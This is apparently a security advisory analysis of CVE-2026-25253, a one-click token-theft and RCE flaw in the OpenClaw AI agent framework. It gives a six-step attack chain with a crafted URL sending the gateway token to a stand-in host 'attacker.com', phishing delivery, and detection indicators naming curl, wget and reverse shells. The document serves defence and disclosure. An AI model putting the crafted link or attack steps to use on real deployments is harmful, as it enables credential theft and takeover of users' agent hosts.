CVE-2026-25253: 
Homebrew vulnerability analysis and mitigation

CVE-2026-25253 is a 1-click remote code execution (RCE) vulnerability in OpenClaw (also known as clawdbot or Moltbot), an open-source AI agent framework. The vulnerability stems from the Control UI trusting a gatewayUrl value obtained from the query string without validation, automatically initiating a WebSocket connection on page load and transmitting the stored gateway authentication token to whatever server is specified. All versions of the clawdbot npm package prior to 2026.1.29 are affected. The advisory was published on January 31, 2026, and the CVE was disclosed on February 1, 2026. It carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory, OpenClaw Security Advisory).

The root cause is classified as CWE-669 (Incorrect Resource Transfer Between Spheres) — specifically, the Control UI reads the gatewayUrl parameter directly from the browser query string and uses it to establish a WebSocket connection without any origin validation or user confirmation prompt. On page load, the application automatically sends the stored gateway authentication token in the WebSocket connect payload to the attacker-specified URL. Because the victim's browser initiates the outbound connection, the attack bypasses network-level protections and works even when the OpenClaw gateway is bound to loopback (localhost) only. Once the token is received, the attacker can connect to the victim's local gateway with operator-level privileges, modify configuration (sandbox settings, tool policies), and invoke privileged actions resulting in arbitrary code execution on the gateway host (GitHub Advisory, OpenClaw Security Advisory). Public PoC code is available at ethiack/moltbot-1click-rce and detailed write-ups exist at DepthFirst and Ethiack.

Successful exploitation grants an attacker operator-level access to the victim's OpenClaw gateway API, enabling arbitrary configuration changes, tool policy modifications, and remote code execution on the gateway host. Authentication tokens and API keys stored in the gateway are exposed, allowing credential theft and potential lateral movement to connected services and LLM provider accounts. The attack requires only a single user interaction (clicking a crafted link), and because the victim's browser acts as the bridge, even loopback-only deployments are fully compromised. Reports indicate over 40,000 exposed OpenClaw control panels were identified on the internet, and multiple hacking groups have been observed exploiting instances to steal API keys and deploy malware (GitHub Advisory, Ethiack Blog, DepthFirst).

1. Reconnaissance: Identify OpenClaw (clawdbot/Moltbot) deployments using internet scanning tools such as Shodan or FOFA, targeting instances running versions prior to 2026.1.29. Over 40,000 exposed control panels have been reported publicly accessible.
2. Craft malicious URL: Construct a URL pointing to the victim's OpenClaw Control UI with an attacker-controlled gatewayUrl query parameter, e.g., https://victim-openclaw-instance/?gatewayUrl=wss://attacker.com/capture.
3. Deliver the link: Send the crafted URL to the target user via phishing email, social media, or by embedding it in a malicious web page. No authentication or prior access to the victim's system is required.
4. Token capture: When the victim clicks the link and the Control UI loads, it automatically initiates a WebSocket connection to the attacker-controlled server (attacker.com) and transmits the stored gateway authentication token in the connection payload — without any user prompt or confirmation.
5. Gateway takeover: Using the captured token, the attacker authenticates to the victim's local OpenClaw gateway API (even if it is bound to loopback, since the browser bridged the connection) with operator-level privileges.
6. Achieve RCE: With operator access, the attacker modifies gateway configuration (e.g., disabling sandbox restrictions, altering tool policies) and invokes privileged tool actions to execute arbitrary commands on the gateway host, exfiltrate stored API keys, or deploy malware (GitHub Advisory, DepthFirst, Ethiack Blog).

• Network: Outbound WebSocket connections (wss:// or ws://) from the OpenClaw Control UI to unexpected or external hosts; unusual WebSocket traffic originating from the browser to non-local gateway addresses; connections to known attacker infrastructure.
• Logs: OpenClaw gateway access logs showing authentication events from unexpected source IPs or at unusual times; token-based authentication immediately followed by configuration changes or tool invocations not initiated by the legitimate user; browser console logs showing WebSocket connections to external URLs.
• File System: New or modified configuration files in the OpenClaw gateway directory (e.g., altered sandbox settings, tool policy files); unexpected scripts or binaries dropped in the gateway working directory; new cron jobs or scheduled tasks created by the gateway process.
• Process: Unusual child processes spawned by the OpenClaw gateway process (e.g., shell commands, curl, wget, reverse shell processes); unexpected network connections initiated by the gateway process to external IPs.
• Credentials/Keys: API keys or LLM provider tokens appearing in unauthorized locations or being used from unexpected IP addresses; evidence of credential reuse or API key abuse in provider logs (GitHub Advisory, DepthFirst).

The primary remediation is to upgrade the clawdbot npm package to version 2026.1.29 or later, which introduces a user confirmation prompt before connecting to any new gateway URL specified in the query string, preventing automatic token transmission to unvalidated servers (GitHub Advisory, OpenClaw Security Advisory). For organizations unable to patch immediately, recommended interim mitigations include: (1) implementing network controls (firewall rules, CSP headers) to restrict outbound WebSocket connections from the Control UI to only trusted gateway addresses; (2) placing the OpenClaw Control UI behind authentication (e.g., reverse proxy with auth) to reduce exposure; (3) monitoring gateway authentication logs for anomalous token usage; and (4) educating users not to click unsolicited links that include OpenClaw Control UI URLs. Qualys (detection ID 5007331) and Nessus (detection ID 297816) have published detection signatures for this vulnerability.

The vulnerability generated significant attention across the security community given OpenClaw's rapid growth (reportedly 85,000+ GitHub stars and hundreds of thousands of deployments). Tenable published a blog post on mitigating clawdbot/Moltbot/OpenClaw vulnerabilities (Tenable Blog), and CyberArk, Jamf, SecurityScorecard, Kaspersky, Adversa AI, and Cato Networks all published analyses of the broader OpenClaw security risk landscape. Researcher 0xacb was credited as a finder and posted about the vulnerability on X (0xacb on X). BleepingComputer covered the broader OpenClaw hype and dark web chatter, and Heise (German tech media) reported on the vulnerability as a high-risk code-smuggling flaw. The r/netsec, r/cybersecurity, and r/blueteamsec communities actively discussed the vulnerability, with threads noting that CVE-2026-25253 is "worse than it looks" due to the loopback bypass. XDA Developers published a piece titled "Please stop using OpenClaw," reflecting broader community concern about the platform's security posture.